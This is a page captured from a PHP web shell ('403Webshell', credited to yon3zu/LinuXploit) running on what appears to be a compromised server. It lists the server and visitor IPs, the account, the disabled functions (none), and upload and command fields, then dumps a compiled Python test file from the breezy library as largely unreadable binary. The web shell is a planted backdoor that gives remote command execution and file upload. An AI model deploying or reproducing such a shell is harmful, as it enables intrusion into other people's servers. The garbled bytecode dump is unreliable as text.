403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.224
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/bzr/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/bzr/tests/__pycache__/test__groupcompress.cpython-313.pyc
�

p��g�_��b�SrSSKrSSKJr SSKJr SSKJr SSKJr S	rS
r	\r
\R"S5rSr
S
rSrSrSrSrSr"SS\R(5r"SS\R(5r"SS\R(5r"SS\R(5r"SS\R(5rg)z;Tests for the python and pyrex extensions of groupcompress.�N�)�tests)�features)�load_tests_apply_scenarios�)�_groupcompress_pyc��SS[04/n[R5(a%[RnUR	SSU045 U$)N�python�
_gc_module�C)r�compiled_groupcompress_feature�	available�module�append��	scenarios�	gc_modules  �F/usr/lib/python3/dist-packages/breezy/bzr/tests/test__groupcompress.py�module_scenariosrsQ��	�L�"3�4�5��I�&�/�/�1�1�2�9�9�	����#��i�8�9�:���c�n�S[R[RS.4/n[R	5(aw[R
nUR
SURURS.4S[RURS.4SUR[RS.4/5 U$)N�PP)�
make_delta�apply_delta�CC�PC�CP)rrrr
rr�extendrs  r�two_way_scenariosr%s���
�/�:�:�0�<�<�
�	
��I�&�/�/�1�1�2�9�9�	�����&/�&:�&:�'0�'<�'<����&7�&B�&B�'0�'<�'<����&/�&:�&:�'8�'D�'D���
�	
�2�rzbreezy.bzr._groupcompress_pyxsMThis is a bit
of source text
which is meant to be matched
against other text
sNThis is a bit
of source text
which is meant to differ from
against other text
s�This is a bit
of source text
which is meant to be matched
against other text
except it also
has a lot more data
at the end of the file
sDa bit of text, that
does not have much in
common with the next text
shsome more bit of text, that
does not have much in
common with the previous text
and has some extra text
s�a bit of text, that
has some in common with the previous text
and has some extra text
and not have much in
common with the next text
s�123456789012345
same rabin hash
123456789012345
same rabin hash
123456789012345
same rabin hash
123456789012345
same rabin hash
c�p^�\rSrSr\"5rSrU4SjrSrSr	Sr
SrSrS	r
S
rSrSrS
rU=r$)�TestMakeAndApplyDelta�Nc��>�[TU]5 URRUlURRUlURR
Ulg�N)�super�setUprrr�apply_delta_to_source��self�	__class__s �rr&�TestMakeAndApplyDelta.setUp�sA���
��
���/�/�4�4����?�?�6�6���%)�_�_�%J�%J��"rc�^�TRSS5 U4SjnU"S[55 U"SS5 U"[5S5 U"SS5 g)Nsa stringsanother stringc�H>�TR[TRX5 gr$)�assertRaises�	TypeErrorr)�string1�string2r)s  �r�_check_make_delta�LTestMakeAndApplyDelta.test_make_delta_is_typesafe.<locals>._check_make_delta�s������i����'�Krznot a string)r�object)r)r2s` r�test_make_delta_is_typesafe�1TestMakeAndApplyDelta.test_make_delta_is_typesafe�sF�������%6�7�	L�	�+�v�x�0��+�~�6��&�(�K�0��.�+�6rc��UR[[5nURSU5 UR[[5nURSU5 UR[[5nURSU5 g)N�M�MsN�Ns���)r�_text1�assertEqual�_text2�_text3)r)�ident_deltas  r�test_make_noop_delta�*TestMakeAndApplyDelta.test_make_noop_delta�sc���o�o�f�f�5������K�0��o�o�f�f�5������K�0��o�o�f�f�5�����,�k�:rc�@�X1U4;aURSX1U4-5 gg)z=Make sure that the delta bytes match one of the expectations.s*Delta bytes:
       %r
not in %r
    or %rN)�fail)r)�delta1�delta2�deltas    r�
assertDeltaIn�#TestMakeAndApplyDelta.assertDeltaIn�s4����(�(��I�I��!&�v�6�7�
�)rc�j�UR[[5nURSSU5 UR[[5nURSSU5 UR[[5nURSU5 UR[[5nURSSU5 g)N�#N�/differ from
against other text
s%N�which is meant to differ from
�:�"M�/be matched
against other text
s$M�which is meant to be matched
�;r8)rr9r;rEr<r:)r)rDs  r�test_make_delta�%TestMakeAndApplyDelta.test_make_delta�s��������/�����:�D��	
�
�����/�����9�C��	
�
�����/������E�*������/�����:�D��	
rc�^�[S-nURX5nURSSU5 g)Ni�s
܆
���\�)r<rrE)r)�big_textrDs   r�!test_make_delta_with_large_copies�7TestMakeAndApplyDelta.test_make_delta_with_large_copies�s6���D�=������3�����
 �
��
	
rc��UR[S5 UR[UR[	5S5 UR[UR[RS5S5 UR[UR[S5 UR[UR[[	55 g)Nr8�latin1uMM)rr9r.r/r4�decode�r)s r�test_apply_delta_is_typesafe�2TestMakeAndApplyDelta.test_apply_delta_is_typesafe�s��������+����)�T�%5�%5�v�x��K�����t�'�'����x�)@�)�	
�	
���)�T�%5�%5�v�x�H����)�T�%5�%5�v�v�x�Hrc��UR[S5nUR[U5 UR[S5nUR[U5 g)NrHrI)rr9r:r;)r)�targets  r�test_apply_delta�&TestMakeAndApplyDelta.test_apply_delta�sM���!�!��B�
��	
�����(��!�!�&�*W�X�������(rc�r�UR[UR[5SS5 UR[URSSS5 UR[URSSS5 UR[URSSS5 UR[URSSS5 g)	Nr�zunicode strsfoo��rr)r.r/r'r4�
ValueErrorrSs r�"test_apply_delta_to_source_is_safe�8TestMakeAndApplyDelta.test_apply_delta_to_source_is_safe�s������)�T�%?�%?���1�a�P����)�T�%?�%?��PQ�ST�U����*�d�&@�&@�&�!�Q�O����*�d�&@�&@�&�!�Q�O����*�d�&@�&@�&�!�Q�Orc
��[S-nUR[URU[	[5[	U555 g�NrH)r9r:r;r'�len)r)�source_and_deltas  r�test_apply_delta_to_source�0TestMakeAndApplyDelta.test_apply_delta_to_source�s>��!�$R�R�������&�&� �#�f�+�s�3C�/D�
�	
r)rr'r)�__name__�
__module__�__qualname__�__firstlineno__rrrr&r5r>rErJrNrTrXr_re�__static_attributes__�
__classcell__�r*s@rr!r!�sJ��� �"�I��J�K�	7�;�
�
�,
�I�)�P�
�
rr!c�6�\rSrSr\"5rSrSrSrSr	Sr
g)�TestMakeAndApplyCompatible�Nc�j�URX5nURX5nURX$5 g)z:Assert that generating a delta and applying gives success.N)rr�assertEqualDiff)r)�sourcerWrD�bytess     r�assertMakeAndApply�-TestMakeAndApplyCompatible.assertMakeAndApplys.������/��� � ��/�����V�+rc�<�UR[[5 UR[[5 UR[[5 UR[[5 UR[[5 UR[[5 gr$)rur9r;r<rSs r�test_direct�&TestMakeAndApplyCompatible.test_directsb�������/������/������/������/������/������/r�)rgrhrirjrrrrrurxrkrzrrroros��!�#�I��J��K�,�0rroc�p^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrU=r$)�TestDeltaIndexic�v>�[TU]5 UR[5 [RUlgr$)r%r&�requireFeaturer
rrr(s �rr&�TestDeltaIndex.setUps*���
��
��	
���:�;�8�?�?��rc�p�URRS5nURS[U55 g)Ns
test text
zDeltaIndex(1, 10))r�
DeltaIndexr:�repr�r)�dis  r�	test_repr�TestDeltaIndex.test_reprs+��
�_�_�
'�
'��
7�����,�d�2�h�7rc��URR5nURS-nUR[R
"U5U5 g)N�)rr��_max_num_sources�
assertGreater�sys�	getsizeof)r)r��lower_bounds   r�test_sizeof�TestDeltaIndex.test_sizeof"s?��
�_�_�
'�
'�
)���)�)�B�.�����3�=�=��,�k�:rc�x�URR5nURSUR55 gr$)rr�r:�_dump_indexr�s  r�test__dump_no_index�"TestDeltaIndex.test__dump_no_index)s+��
�_�_�
'�
'�
)������r�~�~�/�0rc�n�URR5nUR[S5 UR	UR55 UR
SUR55 UR[5nURUR55 UR5up4UR
S[U55 UR
S[U55 [U5VVVs/sHunupgUS:wdUS:wdMXVU4PM nnnnURRn	UR
SSU	"[SS54SSU	"[S	S
54SSU	"[SS	54S
SU	"[S
S54/U5 UHup�nUR
X�US-5 M gs snnnf)Nr��D�r[���0�!�1�"� �/�@�A�)
rr��
add_sourcer9�assertFalse�
_has_indexr:r�r�
assertTruerc�	enumerate�_rabin_hash)r)r��_�	hash_list�
entry_list�idx�text_offset�hash_val�just_entries�
rabin_hash�	entry_idx�_text_offsets            r�test__dump_index_simple�&TestDeltaIndex.test__dump_index_simple-s���
�_�_�
'�
'�
)��
�
�
�f�a� ��������)�����r�~�~�/�0��M�M�&�!������
�
��(� "��� 0��	�����S��^�,�����S��_�-�1:�*�0E�
�0E�,��,�k��a��8�q�=�
)�S�x�(�0E�	�
�
�_�_�0�0�
�����B�
�6�!�B�<�0�1��R��F�2�b�M�2�3��R��F�2�b�M�2�3��R��F�2�b�M�2�3�	
�
�	
�2>�-�I�X����Y�(�S�.�(A�B�2>��!
s�;F0�F0c���URR5nUR[S5 UR[S5 [[5S-nUR
UR55 UR5up4URS[U55 URS[U55 [U5VVVs/sHunupgUS:wdUS:wdMXVU4PM nnnnURRn	URSSU	"[SS54SUS-U	"[SS54S	S
U	"[SS54S
US-U	"[SS54SSU	"[SS54SUS-U	"[SS54SUS
-U	"[SS54SSU	"[SS54/U5 UH6up�nUS-nUR
X<U
s=:*=(a
 X<S-:Os 5 M8 gs snnnf)Nrrr�r�r�r[r��	r�r�r�r��r�r�r�r��#�+r�r�)rr�r�r9r;rcr�r�r�r:r�r�)
r)r��start2r�r�r�r�r�r�r�r�r��hash_idxs
             r�test__dump_index_two_sources�+TestDeltaIndex.test__dump_index_two_sourcesJs���
�_�_�
'�
'�
)��
�
�
�f�a� �
�
�
�f�a� ��V��q�������
�
��(� "��� 0��	�����S��^�,�����S��_�-�1:�*�0E�
�0E�,��,�k��a��8�q�=�
)�S�x�(�0E�	�
�
�_�_�0�0�
�����B�
�6�!�B�<�0�1��F�R�K��F�1�R�L�!9�:��R��F�2�b�M�2�3��V�b�[�*�V�B�r�]�";�<��R��F�2�b�M�2�3��V�b�[�*�V�B�r�]�";�<��V�b�[�*�V�B�r�]�";�<��R��F�2�b�M�2�3�	
�
�	
�2>�-�I�X��#�~�H��O�O�I�/�9�V�V�y�TU��?V�V�W�2>��)
s�G-�(G-c�l�URR5nURUR55 UR	[
S5 URUR55 UR
[5nURUR55 URSU5 g)NrrH)
rr�r�r�r�r9rr;r�r:�r)r�rDs   r�3test_first_add_source_doesnt_index_until_make_delta�BTestDeltaIndex.test_first_add_source_doesnt_index_until_make_deltaks}��
�_�_�
'�
'�
)���������)�
�
�
�f�a� ��������)��
�
�f�%������
�
��(����G��Orc
���URR5nSUlUR[S5 UR[
S5 [
[5S-nUR5up4URS[
U55 URS[
U55 [UVVs/sHupVUS:wdUS:wdMXV4PM snn5nURRnURSU"[SS54S	U"[S
S54SU"[S
S54US-U"[
SS54US-U"[
SS54US-U"[
SS54/U5 gs snnf)Nr�rrr��Cr��
��2r��3�K�<�L�,��-�X�I�Y��u�)rr��_max_bytes_to_indexr�r9r<rcr�r:�sortedr�)	r)r�r�r�r�r�r�r�r�s	         r�"test_add_source_max_bytes_to_index�1TestDeltaIndex.test_add_source_max_bytes_to_indexvse��
�_�_�
'�
'�
)��!'���
�
�
�f�a� �
�
�
�f�a� ��V��q��� "��� 0��	�����S��^�,�����S��_�-��.8�
�-7�)�K��!�#�x�1�}�(��'�-7�
�
���_�_�0�0�
�����Z��r�"�
�.�/��Z��r�"�
�.�/��Z��r�"�
�.�/��"��j���2��7�8��"��j���2��7�8��#��z�&��S�/�:�;�

�
�
	
��
s�2E)
�E)
c�J�URR5nURUR55 UR	[
S5 URUR55 UR	[S5 URUR55 g)Nr)rr�r�r�r�r9r;r�r�s  r�*test_second_add_source_triggers_make_index�9TestDeltaIndex.test_second_add_source_triggers_make_index�sj��
�_�_�
'�
'�
)���������)�
�
�
�f�a� ��������)�
�
�
�f�a� �����
�
��(rc��URR[5nUR[5nURSU5 grb)rr�r9rr;r:r�s   rrJ�TestDeltaIndex.test_make_delta�s5��
�_�_�
'�
'��
/���
�
�f�%�����G��Orc��URR5nUR[S5 UR	[[5UR5 UR[S5 UR	[[5[[5-UR5 UR[5nURR[[-U5nUR[U5 UR	SU5 g)Nrs��has some in �v6and�d"�:
)rr�r��_first_textr:rc�_source_offset�_second_textr�_third_textrrr�r)r�rD�results    r�#test_delta_against_multiple_sources�2TestDeltaIndex.test_delta_against_multiple_sources�s���
�_�_�
'�
'�
)��
�
�
�k�1�%�����[�)�2�+<�+<�=�
�
�
�l�A�&�����[�)�C��,=�=�r�?P�?P�Q��
�
�k�*�����,�,�[�<�-G��O�����[�&�1����I�5�	
rc�|�URR5nUR[S5 UR	[[5S-UR5 UR[S5 UR	[[5[[5-S-UR5 UR[5nURSU5 URRS[-S-[-U5nURSU5 UR[U5 UR	SU5 g)Nr]r�r�s12345s
1234567890s��has some in ��6and�s"�?
)
rr�r�r�r:rcr�r�rr��assertIsNotrrrr�s    r�test_delta_with_offsets�&TestDeltaIndex.test_delta_with_offsets�s���
�_�_�
'�
'�
)��
�
�
�k�1�%�����[�)�A�-�r�/@�/@�A�
�
�
�l�B�'�����[�)�C��,=�=��B�B�DU�DU�V��
�
�k�*������u�%����,�,��{�"�]�2�\�A�5�
��	
����v�&����[�&�1����P��	
rc��URR5n[nUR[S5 UR	[[5UR5 UR[5nUR	SU5 URUS5 X#-
nUR	[[5[U5-UR5 UR[5nURRX$5nUR[U5 UR	SU5 URUS5 X$-
nUR[5nURRX&5nUR[U5 UR	SU5 UR[5nUR	[URRX'55 UR	SU5 URUS5 X'-
nUR[5nUR	[URRX(55 UR	SU5 g)Nrs5h	some more�9&previous text
and has some extra text
s+��has some in common with the �S&and�,s���~�S&and�,s��123456789012345
same rabin hash
123456789012345
same rabin hash
123456789012345
same rabin hash
123456789012345
same rabin hash
s���
)rr�r�r�r:rcr�rr��add_delta_sourcer�rrr�_fourth_text)	r)r�rsrD�second_deltar��third_delta�fourth_delta�fifth_deltas	         r�test_delta_with_delta_bytes�*TestDeltaIndex.test_delta_with_delta_bytes�s���
�_�_�
'�
'�
)����
�
�
�k�1�%�����[�)�2�+<�+<�=��
�
�l�+�����M�u�	
�	���E�1�%��������[�)�C��J�6��8I�8I�J��}�}�[�1�����,�,�V�B�����[�&�1�	
���U��	
�	���L�!�,�����m�m�K�0�����,�,�V�A�����[�&�1����A�;�	
�
�}�}�\�2������$�/�/�5�5�f�K�	
�	
���
�
�	
�	���L�!�,�����m�m�L�1������t���'B�'B�6�'W�X����6��Dr)r)rgrhrirjr&r�r�r�r�r�r�r�r�rJr�r�r�rkrlrms@rr|r|sQ���@�8�;�1�C�:X�B	P�
�:)�P�

�
�$6E�6Err|c�J�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�TestCopyInstructioni�c�R�[R"X#5nURX5 gr$)r�encode_copy_instructionr:)r)�expected�offset�length�datas     r�assertEncode� TestCopyInstruction.assertEncode�s �� �8�8��H������(rc�l�XEnUS-
n[R"XFU5nURXU4U5 g)Nr[)r�decode_copy_instructionr:)r)�
exp_offset�
exp_length�
exp_newposr��pos�cmd�outs        r�assertDecode� TestCopyInstruction.assertDecode�s9���i���q����7�7��3�G�����*�*�=�s�Crc���URSSS5 URSSS5 URSSS5 URSS	S5 URS
SS5 URSS
S5 URSSS5 URSSS5 URSSS5 URSSS5 URSSS5 URSSS5 g)N��r���r[��
r�������rp����������������������������������~�����������r�rSs r�test_encode_no_length�)TestCopyInstruction.test_encode_no_lengths������'�1�i�0����+�q�)�4����+�r�9�5����+�s�I�6����+�s�I�6����/�3�	�:����1�:�y�I����-�z�9�E����-�z�9�E����-�z�9�E����-�z�9�E����1�:�y�Irc��URSSS5 URSSS5 URSSS5 URSSS	5 URS
SS5 URSSS
5 URSSS5 g)N��rr[��
r����r
��rp��r�����rr	rrSs r�test_encode_no_offset�)TestCopyInstruction.test_encode_no_offsets������+�q�!�,����+�q�"�-����+�q�#�.����+�q�#�.����/�1�c�2����/�1�f�5�	
���'�1�i�0rc��URSSS5 URSSS5 URSSS5 URS	S
S5 URSS
S5 URSSS5 URSSS5 g)N��r[��	
r�r������r
���rp���rr%rrr	rrSs r�test_encode�TestCopyInstruction.test_encodes������/�1�a�0����/�1�b�1����/�3��4����/�3��4����1�3��<����/�1�c�2�	
���+�r�9�5rc��URSSSSS5 URSSSSS5 URSSSSS5 URS	SSS
S5 URSSSSS5 URS
SSSS5 URSSSSS5 URSSSSS5 URSSSSS5 URSSSSS5 URSSSSS5 URSSSSS5 g)Nrr	r[rrr
r�rr
rrprrrrrr]rrr\rrrrrrrrr�rrSs r�test_decode_no_length�)TestCopyInstruction.test_decode_no_length)s��	
���!�U�A�w��2����!�U�A�{�A�6����"�e�Q��Q�7����#�u�a��a�8����#�u�a��a�8����#�u�a��!�<����*�e�Q�0G��K����*�e�Q�0C�Q�G����*�e�Q�0C�Q�G����*�e�Q�0C�Q�G����*�e�Q�0C�Q�G����*�e�Q�0G��Krc�*�URSSSSS5 URSSSSS5 URSSSSS5 URSS	SS
S5 URSSSS
S5 URSSSSS5 URSSSSS5 g)Nrr[rr!r�r"r
r#rpr$rrr%r'r&r	rr6rSs r�test_decode_no_offset�)TestCopyInstruction.test_decode_no_offset9s������!�Q��;��2����!�R��K��3����!�S�!�[�!�4����!�S�!�[�!�4����!�S�!�_�a�8����!�U�A���:�	
���!�U�A�w��2rc��URSSSSS5 URSSSSS5 URSS	SS
S5 URSSSS
S5 URSSSSS5 URSSSSS5 g)Nr[rr+rr�r�r,r.r
r-r0rpr/r2rr]r1r%r6rSs r�test_decode�TestCopyInstruction.test_decodeEs������!�Q��?�A�6����!�R��O�Q�7����#�s�A���:����#�s�A���:����#�s�A�'>��B����!�S�!�_�a�8rc��URSSSSS5 URSSSSS	5 URS
SSSS5 g)
Nr[�s	abc�defrr�r�r]sab�	
derr.r
s
not���copyr6rSs r�test_decode_not_start�)TestCopyInstruction.test_decode_not_startMsG�����!�Q��#8�!�<����!�R��$7��;����#�s�A�'=�q�ArrzN)rgrhrirjr�rrr(r3r7r:r=rArkrzrrr�r��s3��)�D�J�
1�
6�L� 
3�9�Brr�c�D�\rSrSr\"5rSrSrSrSr	Sr
SrSrg)	�TestBase128IntiSNc�X�URXRRU55 gr$)r:r�encode_base128_int)r)rt�vals   r�assertEqualEncode� TestBase128Int.assertEqualEncodeXs�������� B� B�3� G�Hrc�\�URX4URRU55 gr$)r:r�decode_base128_int)r)rG�
num_decoderts    r�assertEqualDecode� TestBase128Int.assertEqualDecode[s$�����#�*�D�O�O�,N�,N�u�,U�Vrc��URSS5 URSS5 URSS5 URSS5 URS	S
5 URSS5 URS
S5 g)N�r[�r�������r
��rp�����r)rHrSs rr3�TestBase128Int.test_encode^ss�����w��*����w��*����w��,����{�C�0����{�C�0����{�C�0����6�
�Crc��URSSS5 URSSS5 URSSS5 URSSS5 URS	SS
5 URSSS5 URS
SS5 g)Nr[rPrrQrSrRrUrTr
rVrprWrr]rX�rMrSs rr=�TestBase128Int.test_decodegs������q�!�W�-����q�!�W�-����s�A�w�/����s�A�{�3����s�A�{�3����s�A�{�3����z�1�.E�Frc��URSSS5 URSSS5 URSSS5 URSSS	5 g)
Nr[sabcdefrSsrUrs�abcdefr
s��r[rSs r�test_decode_with_trailing_bytes�.TestBase128Int.test_decode_with_trailing_bytespsK�����q�!�]�3����s�A�{�3����s�A�'8�9����s�A��7rrz)
rgrhrirjrrrrHrMr3r=r^rkrzrrrDrDSs,�� �"�I��J�I�W�D�G�8rrD)�__doc__r��rr�tests.scenariosrrrr�
load_tests�ModuleAvailableFeaturer
r9r;r<r�r�r�r��TestCaser!ror|r�rDrzrr�<module>rfs���"B�
���9� ��%�P(�
�"*�!@�!@�#�"��
��
��
��������	��o
�E�N�N�o
�d0����0�*`E�U�^�^�`E�FXB�%�.�.�XB�v!8�U�^�^�!8r

Youez - 2016 - github.com/yon3zu
LinuXploit